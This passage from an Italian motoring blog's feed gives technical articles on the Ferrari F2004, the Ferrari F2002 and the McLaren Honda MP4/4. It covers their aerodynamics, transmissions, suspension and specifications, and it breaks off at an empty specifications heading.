<p class="wp-block-paragraph">La Shell ha fornito un contributo fondamentale nello studio e nella realizzazione dello 053 e nel raggiungimento degli obiettivi prestazionali e di affidabilità, fornendo una nuova benzina e nuovi lubrificanti. La trasmissione viene, anche su questa vettura, collocata longitudinalmente: pur mantenendo la stessa impostazione progettuale di quella montata sulla F2003-GA, essa viene completamente rivisitata, ottenendo una riduzione sia nelle dimensioni che nel peso.</p>



<p class="wp-block-paragraph">Il cambio, realizzato in fusione di titanio, ha sette rapporti (più retromarcia) e, in base alle modifiche al regolamento tecnico, è azionato direttamente dal pilota. Nel solco di una tradizione inaugurata dalla Ferrari nel 1997 ed ormai diventata uno standard nella Formula 1, gli scarichi sono rivolti verso l&#8217;alto; rispetto al passato, sono stati collocati in una posizione più interna.</p>



<p class="wp-block-paragraph">La F2004 rappresenta un ulteriore passo avanti nella storia delle monoposto Ferrari. Sono stati ottimizzati il rendimento dei nuovi materiali e le fasi della progettazione e del controllo della qualità, il tutto con l&#8217;obiettivo di aumentare l&#8217;affidabilità complessiva migliorando al tempo stesso le prestazioni ed ottenendo la maggior sicurezza possibile.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/DPFrx0T2/ITA-7629.jpg" alt="ITA 7629" title="Monoposto leggendarie - Ferrari F2004 1252"><figcaption>Monoposto leggendarie - Ferrari F2004 1258</figcaption></figure>



<h3 class="wp-block-heading"><strong>Aerodinamica</strong></h3>



<p class="wp-block-paragraph"><strong><br></strong>Si è dovuto rivedere in maniera approfondita il cofano motore e l&#8217;ala posteriore per renderli conformi con le modifiche apportate al regolamento per l&#8217;anno 2004. Al fine di continuare a progredire nella prestazione aerodinamica, ogni aspetto relativo a quest&#8217;area è stato ulteriormente sviluppato. Molte componenti della vettura sono state sviluppate ed introdotte sia durante il programma delle prove di sviluppo nel mese di febbraio sia durante la stagione stessa; la macchina è quindi in continua evoluzione.</p>



<h3 class="wp-block-heading"><strong>Trasmissione</strong></h3>



<p class="wp-block-paragraph">E&#8217; stato usato un nuovo approccio nell&#8217;impiego dei materiali per la scatola del cambio e per la struttura di assorbimento posteriore, il che ha permesso un considerevole risparmio nel peso. Gli organi interni sono uno sviluppo della F2003-GA, con molti affinamenti nei dettagli fra cui un&#8217;ottimizzazione del profilo degli ingranaggi e del sistema di lubrificazione.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/PGpv1g5q/ITA-7601.jpg" alt="ITA 7601" title="Monoposto leggendarie - Ferrari F2004 1253"><figcaption>Monoposto leggendarie - Ferrari F2004 1259</figcaption></figure>



<h3 class="wp-block-heading"><strong>Telaio</strong></h3>



<p class="wp-block-paragraph">Sebbene non siano stati fatti grandi cambiamenti nella costruzione, il telaio è completamente nuovo come forma, il che è una conseguenza dei requisiti aerodinamici della vettura.</p>



<h3 class="wp-block-heading"><strong>Sospensioni e sterzo</strong></h3>



<p class="wp-block-paragraph">Il sistema di servosterzo viene rifinito al fine di migliorare l&#8217;assistenza e la sensibilità del pilota. Un altro anno di stretta collaborazione con la Bridgestone ha accresciuto la nostra comprensione dell&#8217;interazione fra la pista, lo pneumatico e la vettura, consentendoci di compiere interventi ancora più fini sulle sospensioni per ottimizzarne la prestazione in maniera specifica per ogni circuito. Quasi tutte le componenti vengono riprogettate ed alcune sono state prodotte utilizzando nuovi materiali e metodi per renderne ottimale l&#8217;efficienza e per ridurne il peso.</p>



<h3 class="wp-block-heading"><strong>Sistemi</strong></h3>



<p class="wp-block-paragraph">Il regolamento 2004, che imponeva la partenza e la gestione della cambiata manuali così come la necessità di inviare le informazioni al nuovo sistema di acquisizione dati della FIA, ha richiesto un&#8217;approfondita revisione dell&#8217;elettronica, sia come hardware che come software. Il sistema di raffreddamento così come quelli idraulici per il motore e la trasmissione vengono, anche questa volta, sostanzialmente rivisti per ottenere una miglior efficienza e per soddisfare i requisiti richiesti dal nuovo motore.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/HDP1YSQs/c1lpk09wavt51.png" alt="c1lpk09wavt51" title="Monoposto leggendarie - Ferrari F2004 1254"><figcaption>Monoposto leggendarie - Ferrari F2004 1260</figcaption></figure>



<h2 class="wp-block-heading" id="h-scheda-tecnica"><strong>Scheda tecnica</strong></h2>



<p class="wp-block-paragraph">Carreggiata anteriore: 1,470 m<br>Carreggiata posteriore: 1,405 m<br>Telaio: materiali compositi, a nido d&#8217;ape con fibre di carbonio<br>Trazione: posteriore<br>Frizione: multidisco<br>Cambio: longitudinale Ferrari, 7 marce e retromarcia (comando semiautomatico sequenziale a controllo elettronico)<br>Differenziale: autobloccante<br>Freni: a disco autoventilanti in carbonio<br>Motore: tipo 053<br>Num. cilindri e disposizione: 10 a V<br>Cilindrata: 2 997 cm³<br>Potenza: 930 CV<br>Distribuzione: pneumatica<br>Valvole: 40<br>Materiale blocco cilindri: alluminio microfuso<br>Alimentazione: iniezione elettronica digitale Magneti Marelli<br>Accensione: elettronica Magneti Marelli statica<br>Sospensioni: indipendenti con puntone e molla di torsione anteriore e posteriore<br>Pneumatici: Bridgestone<br>Cerchi: 13&#8243;</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/Ng34Z3Yq/home-jpg-f3706e467e4da870a91e8a349d43edd9.jpg" alt="home jpg f3706e467e4da870a91e8a349d43edd9" title="Monoposto leggendarie - Ferrari F2004 1255"><figcaption>Monoposto leggendarie - Ferrari F2004 1261</figcaption></figure>



<h2 class="wp-block-heading" id="h-palmares"><strong>Palmares:</strong></h2>



<p class="wp-block-paragraph">15 vittorie (13 Schumacher, 2 Barrichello), 12 pole position (8 Schumacher, 4 Barrichello), 14 giri veloci, 1 titolo mondiale piloti, 1 titolo mondiale costruttori</p>
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		<title>Monoposto leggendarie &#8211; Ferrari F2002</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Fri, 11 Jan 2013 03:01:44 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[monoposto leggendarie]]></category>
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					<description><![CDATA[<p>La F2001 che ha sbancato il mondiale di Formula 1 è stata l&#8217;ultima monoposto di un ciclo iniziato tre anni prima con la F399, la prima Ferrari costruita &#8220;all&#8217;inglese&#8221;, sfruttando al massimo i limiti regolamentari. La F2001 rappresentava quindi un ulteriore, sapiente, concentrato di tutte le soluzioni che avevano caratterizzato i tre modelli precedenti. Era [&#8230;]</p>
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<p class="wp-block-paragraph">La F2001 che ha sbancato il mondiale di Formula 1 è stata l&#8217;ultima monoposto di un ciclo iniziato tre anni prima con la F399, la prima Ferrari costruita &#8220;all&#8217;inglese&#8221;, sfruttando al massimo i limiti regolamentari. La F2001 rappresentava quindi un ulteriore, sapiente, concentrato di tutte le soluzioni che avevano caratterizzato i tre modelli precedenti. Era però anche arrivata ad una sorta di capolinea e per questo sia Ross Brawn che Rory Byrne hanno deciso che era tempo di voltare pagina. Tale scelta è stata resa possibile e incoraggiata dall&#8217;assenza di rivoluzioni regolamentari in corso.</p>



<h2 class="wp-block-heading" id="h-la-vettura">LA VETTURA</h2>



<p class="wp-block-paragraph">Nei giorni precedenti alla presentazione ufficiale della F2002 le voci trapelate dalla scuderia di Maranello volevano le novità concentrate nella veste aerodinamica della parte anteriore. Invece la Ferrari ha intrapreso una nuova strada sopratutto per quanto concerne il retrotreno. Alla fine non è stata seguita la strada della Sauber, con gli attacchi del triangolo inferiore sdoppiati, per poter avere uno schema di sospensioni più redditizio. Il retrotreno risulta invece un concentrato di soluzioni inedite, considerando anche che, dopo sei anni, è stata cambiata la tecnica costruttiva del cambio. Allo schema concepito da Barnard nel 1996 della struttura scatolata con pelli di titanio, subentra quella in fusione, sempre di titanio: una tecnologia introdotta due anni prima dalla Minardi.</p>



<p class="wp-block-paragraph">La possibilità di ridurre ancora gli ingombri della trasmissione e di ottimizzare lo schema delle sospensioni ai fini di ottenere un&#8217;aerodinamica posteriore ancora più sofisticata, è alla base di tutte le altre modifiche. Rory Byrne si è concentrato al massimo sul problema che ha spesso afflitto le Ferrari negli anni passati, cioè il bloccaggio aerodinamico nella zona delle ruote posteriori, spesso rifatta e frutto di moltissime modifiche durante le stagioni &#8217;98, &#8217;99 e 2000.</p>



<p class="wp-block-paragraph">E&#8217; nata così la nuova &#8220;veste&#8221; di tutta la parte centrale della F2002, che ruota attorno a un enorme lavoro di fluidodinamica interna per permettere di avere un buon smaltimento termico delle rinnovate masse radianti senza penalizzazioni in termini di resistenza. Le fiancate sono leggermente più lunghe anche perchè l&#8217;abitacolo è stato spostato in av<br>anti per poter avere un serbatoio della benzina più grande, tale da permettere una maggiore libertà nelle tattiche di gara. Le pance sono soprattutto molto più arrotondate e &#8220;gonfie&#8221; nella parte iniziale e terminano incredibilmente basse e strette nella zona posteriore, lasciando uno spazio enorme per il passaggio dell&#8217;aria nel canale delimitato dalle ruote . Non ci sono sfoghi d&#8217;aria calda davanti alle ruote posteriori: l&#8217;unico sfogho è determinato dalle eleganti ciminiere verticali che ricordano in qualche modo quelle introdotte e poi scartate dalla Jordan. I tecnici della Ferrari sono però andati oltre, unendo lo sfogo dell&#8217;aria calda allo sfiato degli scarichi, che ora sparano l&#8217;aria calda in orizzontale e non più verso l&#8217;alto. A protezione delle sospensioni posteriori vi sono poi delle piccole paratie orizzontali.</p>



<p class="wp-block-paragraph">Le dimensioni contenute del cambio hanno dell&#8217;incredibile, anche perchè, al contrario di quanto era avvenuto per gli ultimi tre modelli della Ferrari, gli ammortizzatori non risultano più verticali esterni, ma sono alloggiati all&#8217;interno della struttura. Per quanto riguarda le sospensioni, tutti i bracci sono in carbonio e quella posteriore è completamente nuova; l&#8217;anteriore è di derivazione F2001. Nuova è anche la tecnica costruttiva del telaio, tecnica che tra l&#8217;altro ha permesso una riduzione sensibile sui pesi, altro punto forte di questa nuova monoposto, ben oltre 60 kg sotto il limite minimo regolamentare. Nuovo è anche il volante, che, nonostante la telemetria bidirezionale, ha ricevuto un incremento del numero dei manettini e dei pulsanti di gestione.</p>



<h2 class="wp-block-heading" id="h-gli-scarichi-a-periscopio">GLI SCARICHI A PERISCOPIO</h2>



<p class="wp-block-paragraph">Gli scarichi della nuova Ferrari hanno la stessa posizione nella vettura che avevano nella F2001 ma terminano con un angolo di 90°, e non sono più del tipo &#8220;a fetta di salame&#8221; come negli anni precedenti. Apparentemente quest&#8217;ultima soluzione sembrerebbe aerodinamicamente più efficace, ma questa originale soluzione ha permesso di integrare gli scarichi del motore con gli sfoghi provenienti dai radiatori dell&#8217;acqua e dell&#8217;olio, in modo da poter sfruttare la depressione determinata dalla elevatissima velocità e temperatura dei gas di scarico e consentendo di poter presentare fiancate totalmente lisce.&nbsp;Con altri due vantagi: l&#8217;accellerazione del flusso d&#8217;aria che investe la parte inferiore dell&#8217;alettone posteriore garantisce più deportanza a parità di incidenza, e grazie alla miscelazione con l&#8217;aria più fresca proveniente dai radiatori un abbassamento della temperatura dei gas di scarico che salvaguarda l&#8217;integrità della sospensione posteriore, i cui bracci sono realizzati in fibra di carbonio.</p>



<h2 class="wp-block-heading" id="h-l-aerodinamica">L&#8217;AERODINAMICA</h2>


<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" width="300" height="195" src="https://www.giornalemotori.com/wp-content/uploads//2013/01/f2002_6-300x195.jpg" alt="f2002_6" class="wp-image-21588" title="Monoposto leggendarie - Ferrari F2002 1262" srcset="https://www.giornalemotori.com/wp-content/uploads/2013/01/f2002_6-300x195.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2013/01/f2002_6.jpg 350w" sizes="(max-width: 300px) 100vw, 300px" /></figure>
</div>


<p class="wp-block-paragraph">Il 6 febbraio 2002, giorno della presentazione della F2002, potrebbe essere ricordato come la data della resa. La resa della meccanica all&#8217;aerodinamica. Non c&#8217;è dettaglio della nuova Ferrari che non sia stato disegnato in funzione dell&#8217;ottimizzazione dei flussi d&#8217;aria esterni ed interni. </p>



<p class="wp-block-paragraph">Tutte le opportunità oferte dalle eccezionali caratteristiche di resistenza dei nuovi materiali sono state sfruttate per superare il disegno tradizionale delle principali componenti rendendo praticabili soluzioni che fanno a pugni con le regole dell&#8217;ingegneria e del buon senso. A cominciare da una sospensione posteriore i cui bracci, superiori ed inferiori, per non ostacolare il flusso d&#8217;aria in uscita dal fondo piatto distano solo pochi centimetri tra di loro. Punti di ancoraggio alla scocca così ravvicinati determinano, in combinazione con l&#8217;aderenza consentita dai pneumatici e dai carichi aerodinamici, sforzi intollerabili fino a qualche anno fa. </p>



<p class="wp-block-paragraph">Oggi con il ricorso a costruzioni in carbonio nelle quali si passa dal semplice orientamento delle fibre in funzione degli sforzi a strutture &#8220;specializzate&#8221; a livello molecolare qualunque sollecitazione è sostenibile. Ecosì, se una volta era possibile apprezzare, in prima approssimazione, l&#8217;efficacia e la solidità di una soluzione tecnica con un semplice sguardo, perchè i materiali impiegati, per quanto sofisticati, facevano parte integrante delle nostre esperienze quotidiane, oggi qualunque giudizio non passa più per esperienze acquisite ma attraverso la razionalizzazione del computer. </p>



<p class="wp-block-paragraph">Anche il motore ha dovuto piegarsi al compromesso. Quando mai si erano visti gli scarichi terminare con un agnolo di 90°? Ma sulla F2002 questa soluzione ha consentito di integrarli con gli sfoghi dell&#8217;aria proveniente dai radiatori dell&#8217;acqua e dell&#8217;olio sfruttando così un effetto estrattore dovuto alla depressione determinata dalla elevatissima velocità e temperatura dei gas di scarico e consentendo di presentare fiancate totalmente lisce. Con altri due vantaggi: l&#8217;accellerazione del flusso d&#8217;aria che investe la parte inferiore dell&#8217;alettone posteriore (più deportanza a parità di incidenza) e, grazie alla miscelazione con l&#8217;aria più fresca proveniente dai radiatori, un abbassamento delle temperature dei gas di scarico che salvaguarda l&#8217;integrità della sospensione posteriore i cui bracci sono realizzati in fibra di carbonio. </p>



<p class="wp-block-paragraph">Questi accorgimenti, insieme all&#8217;ulteriore miniaturizzazione del motore (concentrazione degli accessori) e del cambio hanno permesso la realizzazione di una monoposto che propone nuovi e più vantagiosi valori del rapporto tra carico ed efficienza aerodinamica. E&#8217; un valore che costituisce il parametro di gran lunga più importante nella definizione del valore di una F1. Si tratta di realizzare una forma capace di attraversare l&#8217;aria provocando la minima resistenza possibile (Cx), trasformando una parte della resistenza in deportanza (Cz) e &#8220;spillando&#8221; aria in pressione per i servizi (raffreddamento radiatori acqua/olio). Per assolvere queste tre funzioni la monoposto deve essere capace di dividere in tre flussi separati e specializzati l&#8217;aria che incontra, minimizzando le loro eventuali interazioni. </p>



<p class="wp-block-paragraph">La F2002 sembra essere la monoposto più avanti su questa strada. Il Cx è condizionato fondamentalmente dalla forma della carrozzeria (e dalla presenza dei pneumatici esterni che però costituisce una limitazione per tutti i team). L&#8217;obiettivo è quello di assicurare la massima continuità possibile allo &#8220;strato limite&#8221;. Una sottile pellicola d&#8217;aria che si interpone tra la superficie della carrozzeria e l&#8217;aria circostante e che rende minima la resistenza. Lo strato limite però è delicato e si &#8220;strappa&#8221; facilmente se incontra ostacoli sul suo cammino o se viene sottoposto</p>



<p class="wp-block-paragraph">a brusche accellerazioni o decellerazioni. La F2002 mostra grande rispetto per la sua buona salute. L&#8217;eliminazione degli sfoghi d&#8217;aria laterali va in questo senso e lo stesso vale per la eccezionale rastremazione del posteriore (in pianta e laterale) che assicura una accellerazione del flusso capace di tenere in tensione lo strato limite. Il Cz (depostanza) è frutto degli alettoni ma, soprattutto, del&#8217; &#8220;effetto suolo&#8221; ottenuto grazie all&#8217;accellerazione del flusso d&#8217;aria che passa tra il fondo piatto e la pista. Più alta è la sua velocità rispetto a quella del flusso che investe la parte superiore della monoposto, tanto maggiore è la deportanza che si ottiene. </p>



<p class="wp-block-paragraph">Con un grande vantaggio rispetto alla deportanza ottenuta con gli alettoni: non costa nulla in termini di resistenza all&#8217;avanzamento (Cx). L&#8217;accellerazione del flusso inferiore è ottenuta attraverso l&#8217; &#8220;effetto Venturi&#8221; e consiste nel comprimere una massa d&#8217;aria aumentandone densità e temperatura per farla poi espandere trasformando l&#8217;energia incamerata in velocità. Il muso ulteriormente alzato della F2002 testimonia buoni valori dell&#8217;effetto suolo perchè più il muso è alto e più aria entra. Ma non serve a nulla, anzi è controproducente, se non si trova il modo di farla uscire al retrotreno. Evidentemente alla Ferrari hanno risolto questo problema. </p>



<p class="wp-block-paragraph">Il flusso destinato ai servizi è stato ottimizzato grazie all&#8217;inedito utilizzo dell&#8217;effetto estrattore dei gas di scarico minimizzando quindi la diminuzione di velocità e di pressione tra l&#8217;aria che entra nei radiatori e quella che ne esce. Più contenuta è questa variazione (perdita di carico) minore è l&#8217;incremento della resistenza all&#8217;avanzamento. Nella vista in pianta della F2002 è evidente il tentativo di mantenere il più separato possibile questo flusso dagli altri due con l&#8217;adozione di schermi che tendono a &#8220;spillare&#8221; l&#8217;aria necessaria ai radiatori senza provocare significative interruzioni nel flusso che prosegue lungo le fiancate. I bordi piatti, paralleli al terreno, degli schermi sono poi un artificio che permette una preselezione dell&#8217;aria destinata a produrre l&#8217;effetto Venturi insinuandosi sotto il fondo piatto.</p>



<h2 class="wp-block-heading" id="h-il-volante">IL VOLANTE</h2>


<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" width="300" height="225" src="https://www.giornalemotori.com/wp-content/uploads//2013/01/DSCF0252-300x225.jpg" alt="DSCF0252" class="wp-image-21587" title="Monoposto leggendarie - Ferrari F2002 1263" srcset="https://www.giornalemotori.com/wp-content/uploads/2013/01/DSCF0252-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2013/01/DSCF0252-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2013/01/DSCF0252-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2013/01/DSCF0252-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2013/01/DSCF0252-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2013/01/DSCF0252.jpg 1136w" sizes="(max-width: 300px) 100vw, 300px" /></figure>
</div>


<p class="wp-block-paragraph">Fra le tante novità della F2002, il volante è passato quasi inosservato; è studiato in funzione di una posizione di guida leggerm</p>



<p class="wp-block-paragraph">ente più bassa. I manettini che presiedono alle varie funzioni rimangono, ma ora sono disposti su due file verticali invece che raggruppati in basso. Al centro del volante spiccano due grosse manopole nere, o commutatori, che servono a passare da una funzione all&#8217;altra e ad attuare la &#8220;regolazione fine&#8221;.</p>



<p class="wp-block-paragraph">La diversa forma del volante, che ora è leggermente più in basso, è dovuta anche al nuovo display, più grande, dove il pilota può leggere i valori di funzionamento della vettura. Fra le funzioni controllabili dal volante (o dai box) la carburazione, la percentuale di freno motore, le strategie di funzionamento della frizione (cioè la risposta allo stacco), la sensibilità del traction control e la taratura del differenziale.</p>
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		<title>Monoposto Leggendarie &#8211; McLaren Honda Mp4/4 1988</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Wed, 02 Jan 2013 12:10:28 +0000</pubDate>
				<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[monoposto leggendarie]]></category>
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					<description><![CDATA[<p>Premessa: questo è il primo articolo di una lunga serie, che ci accompagnerà fino all&#8217;inizio del mondiale 2013 di F1. Parleremo di monoposto ma anche di piloti che hanno lasciato il segno nella mente e nel cuore di ogni appassionato. Spero sia di vostro gradimento! «Una vettura da corsa è bella solo quando vince». Questa [&#8230;]</p>
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<p class="wp-block-paragraph">Premessa: questo è il primo articolo di una lunga serie, che ci accompagnerà fino all&#8217;inizio del mondiale 2013 di F1. Parleremo di monoposto ma anche di piloti che hanno lasciato il segno nella mente e nel cuore di ogni appassionato.</p>



<p class="wp-block-paragraph">Spero sia di vostro gradimento!</p>



<p class="wp-block-paragraph">«Una vettura da corsa è bella solo quando vince». Questa definizione è di Enzo Ferrari, il “Drake” di Maranello, un uomo, indubbiamente, che la sa lunga in fatto di macchine da corsa. La citazione ci è venuta alla mente quando è apparsa la nuova McLaren, che ha fatto arricciare il naso per alcuni dettagli che tradivano la fretta con cui era stata ultimata (dopo i recenti ritardi) per poter girare sul circuito di Imola. Dopo poche ore la nuova McLaren-Honda Mp4/4 ha dato la migliore risposta, l’unica possibile per una vettura, facendo segnare dei tempi a dir poco notevoli (a bordo però non vi era installata la fati dica valvola di limitazione della Fisa). Tradizionale, anche se del tutto inedita, eccezion fatta per i cerchioni, la nuova Mp4/4 è stata progettata da Steve Nichols, per anni braccio destro di John Barnard. È questa la prima vera monoposto di Formula 1 per il tecnico inglese, responsabile fin dall&#8217;anno precedente dello sviluppo della McLaren Mp4/3. Alla Squadra di Woking per poter portare avanti i programmi con i due motori era in ogni caso stato deciso di dividere i compiti. Monoposto evoluzione o rivoluzione? Se dovessimo dare un giudizio, si potrebbe dire che la McLaren-Honda Mp4/4 è una profonda evoluzione del vecchio modello Mp4/3, con il quale ha in comune molti particolari. Vediamo comunque di analizzare nel dettaglio quella che dovrebbe essere una delle monoposto più grandi della Storia della Formula 1.</p>



<h2 class="wp-block-heading"><strong>Telaio</strong></h2>



<p class="wp-block-paragraph">Pur rispettando gli schemi costruttivi tipici delle scocche McLaren quella della Mp4/4 è completamente nuova. La scuderia inglese, dal settembre del 1986 realizza completamente i suoi telai (prima erano fatti alla Hercules in America) e ovviamente anche gli ultimi sono stati approntati all&#8217;interno della iper-tecnologica fabbrica di Ron Dennis. Steve Nichols, pur mantenendo invariata la tecnica costruttiva, (la scocca è separata dalla carrozzeria) ha approfittato per fare una struttura più rigida, specialmente nella zona dell’abitacolo. Questa risulta più alta con una fascia di irrigidimento che percorre tutta la zona a fianco del pilota. Le linee del telaio della McLaren Mp4/4 sono ovviamente spigolose e si discostano da quelle del vecchio modello Mp4/3. La caratteristica più appariscente di questa scocca è quella di avere la parte inferiore completamente squadrata ad U, senza più la forma a V caratteristica della vecchia vettura, nata come struttura nel 1981 e cioè al tempo delle minigonne e dei telai molto stretti in basso. Nichols ha seguito la moda delle scocche strette, ma senza esagerazioni, tanto che ha potuto conservare all&#8217;interno gli ammortizzatori verticali. Li ha messi in posizione arretrata per guadagnare qualche centimetro in abitabilità. La parte posteriore del telaio della Mp4/4 è molto corta con una forma della zona del serbatoio della benzina che ricorda quella della Williams Fw08 «iridata» con Keke Rosberg nel 1982. Le rifiniture di questa prima monoposto hanno lasciato un po’ a desiderare, specialmente nel telaio staccabile della struttura deforma bile anteriore. La monoposto, bassa, stretta e affusolata, ricorda la vecchia Brabham-BMW BT55, una creatura rivoluzionaria ma fallimentare progettata nel 1986 da Gordon Murray. Le rassomiglianze con la creatura di Murray si possono notare nei disegni tecnici qui in basso. Le medesime caratteristiche si possono notare nel cofano motore molto basso, che presenta soprattutto una “gobba” nella parte terminale.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/JjNN85sQ/Mc-Laren1988-ph-Campi-1200x1013.jpg" alt="Mc Laren1988 ph Campi" title="Monoposto Leggendarie - McLaren Honda Mp4/4 1988 1264"><figcaption>Monoposto Leggendarie - McLaren Honda Mp4/4 1988 1268</figcaption></figure>



<h2 class="wp-block-heading"><strong>Abitacolo</strong></h2>



<p class="wp-block-paragraph">L’abitacolo della nuova McLaren-Honda Mp4/4 è stretto di spalle ma spazioso al suo interno. La cosa che colpisce di più di questa nuova McLaren è in pratica l’assenza della parte centrale dell’abitacolo. Il pilota è seduto molto inclinato e non è avvolto da un abbondante carenatura come nei casi di altre vetture. Le protezioni laterali per il casco del pilota sono molto basse e corrono lungo le spalle (che fuoriescono all’abitacolo). Il volante è di forma rotonda. La centralina strumenti è in un singolo pezzo. Il roll bar di protezione della testa non è più in tubi come sui precedenti modelli.</p>



<h2 class="wp-block-heading"><strong>Aerodinamica</strong></h2>



<p class="wp-block-paragraph">Non ci sono stati salti nel buio nella veste aerodinamica della McLaren Mp4/4, logica evoluzione dei concetti espressi con successo dal precedente modello, rimasto in servizio, senza grosse alterazioni, per oltre sette anni. L’aerodinamica della McLaren Mp4/4 era molto tradizionale rispetto alle altre monoposto. La parte posteriore, specialmente, ricorda la vecchia Mp4/3 anche se la carrozzeria inferiore è completamente diversa e in particolare i profili estrattori si rifanno più a quelli della Williams dello scorso anno che non a quelli della McLaren del 1987. Le novità maggiori vengono però dalla parte anteriore più stretta ed allungata in ossequio alle nuove norme regolamentari. Il muso è stretto ma non in maniera eccessiva e appare perfino più lungo del suo reale valore, dato che la Mp4/4 è di soli 4 centimetri più lunga della vecchia vettura. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/8gcg3h0m/Dw-PMQjf-Wk-AAi-Ske.jpg" alt="Dw PMQjf Wk AAi Ske" title="Monoposto Leggendarie - McLaren Honda Mp4/4 1988 1265"><figcaption>Monoposto Leggendarie - McLaren Honda Mp4/4 1988 1269</figcaption></figure>



<p class="wp-block-paragraph">Nichols ha evitato di andare al limite degli ingombri della sezione frontale come è stato fatto da altre squadre. Il restringimento della zona anteriore non ha poi comportato un andamento curvilineo della parte centrale della scocca, come è stato realizzato dalla Benetton-Ford e dalla Leyton House-Judd, bensì l’allargamento è stato fatto in maniera rettilinea come sulla nuova Williams-Judd. Le fiancate sono rimaste in pratica le stesse, con uno sfogo laterale per l&#8217;aria calda che ad Imola era notevolmente paralizzato. Per le prese delle turbine sono disponibili due versioni: una con i tradizionali periscopi visti ad Imola, l&#8217;altra con le canalizzazioni interne delle fiancate già sperimentate lo scorso anno sulla Williams e sulla Lotus. </p>



<p class="wp-block-paragraph">L’accorciamento del serbatoio, da soli 150 litri, ha fatto sì che il corpo vettura sia più vicino rispetto all’alettone posteriore, il cofano motore però appare più profilato e basso rispetto a quello della precedente versione. In questo modo il flusso verso l’alettone posteriore non dovrebbe risultare penalizzato. Per quanto riguarda gli alettoni, ovviamente date le minori potenze, sono stati realizzati profili con corde minori, seppur derivati da quelli usati nella passata Stagione. Pur senza esagerazioni con benzina ai lati del pilota, Nichols è riuscito a mantenere le dimensioni della nuova Mp4/4 molto simile a quelle delle vetture che ha gareggiato fino alla passata Stagione. Il passo, infatti, è di soli 4 cm circa più lungo, questo grazie anche al fatto che le vetture turbo hanno un serbatoio della benzina ridotto di 4,5 litri rispetto al 1987, quindi notevolmente più corto.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/XkyZ4yPs/motore-jpg-9bf8d0a22df530351968e70bb472e6ec.jpg" alt="motore jpg 9bf8d0a22df530351968e70bb472e6ec" title="Monoposto Leggendarie - McLaren Honda Mp4/4 1988 1266"><figcaption>Monoposto Leggendarie - McLaren Honda Mp4/4 1988 1270</figcaption></figure>



<h2 class="wp-block-heading"><strong>Sospensioni</strong></h2>



<p class="wp-block-paragraph">Quasi immutata quella posteriore, anche se al posto di un normale bilanciere del sistema push-rod ve ne è uno a base più larga. I portamozzi, sia anteriori che posteriori, sono saldati e molto simili a quelli usati lo scorso anno, hanno però un diverso sistema di raffreddamento dei freni. A proposito di questi da notare che sono state conservate le doppie pinze realizzate dalla stessa McLaren. Quelle al retrotreno sono posizionate rispetto al portamozzo inclinate con la pinza dietro più in alto di quella davanti al disco. Completamente nuova invece la sospensione anteriore, non solo come schema, visto che ora è a tirante e prima era a puntone, ma anche come disegno. Al posto di un triangolo a base molto stretta, sopra, ve ne è uno molto largo con gli attacchi esterni alla scocca. In basso il triangolo è ancora più largo con il braccio posteriore che si infulcra all&#8217;interno del telaio stesso. Il gruppo molla-ammortizzatore (unico caso fra le nuove Formula 1) è piazzato all&#8217;interno della scocca, ma è spostato indietro rispetto all&#8217;asse anteriore; questo per poter offrire maggiore spazio ai piedi del pilota, in una zona dove il telaio è più largo di almeno 4-5 cm. Curiosa, sempre per problemi di ingombri la dislocazione della colonna dello sterzo, disassata sulla sinistra per non interferire con il pedale del freno. La cremagliera dello sterzo è esterna al telaio. Da notare che la McLaren ora usa ammortizzatori giapponesi Showa con il serbatoio del gas separato al posto dei tradizionali Bilstein.</p>



<h2 class="wp-block-heading"><strong>Cambio</strong></h2>



<p class="wp-block-paragraph">David North, chiamato da Gordon Murray, in collaborazione con Pete e Michelle Weismann ha realizzato un nuovissimo cambio longitudinale dagli ingombri molto ridotti. Le Formula 1 del 1988 viaggiavano molto basse rispetto al suolo; per poter avere i semiassi orizzontali bisognerebbe poterle alzare di almeno 20 mm. I nuovi motori Honda turbo con l’albero di uscita più basso di 25 mm hanno ancora più evidenziato questo problema di qui la necessità di rialzarsi con il cambio per poter avere i semiassi quasi orizzontali. North ha risolto il problema con un cambio a tre alberi ed i rapporti tutti nel1a parte posteriore. All’uscita dal1a frizione, c’è già una riduzione di giri. L’albero primario passa sotto i semiassi, molto semplice risulta la operazione di cambio dei rapporti. North sta anche studiando sempre coadiuvato dai Weismann un nuovo cambio per il motore atmosferico, molto probabilmente sarà un trasversale con cui è più facile ancora rialzarsi dei 50 mm necessari. Se dovessimo individuare l’unico punto debole di un progetto così vincente e competitivo, potremmo evidenziare il cambio, che non ha mai funzionato troppo alla perfezione.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/mVzbXRyR/volantemclaren.jpg" alt="volantemclaren" title="Monoposto Leggendarie - McLaren Honda Mp4/4 1988 1267"><figcaption>Monoposto Leggendarie - McLaren Honda Mp4/4 1988 1271</figcaption></figure>



<h2 class="wp-block-heading"><strong> Scheda tecnica</strong></h2>



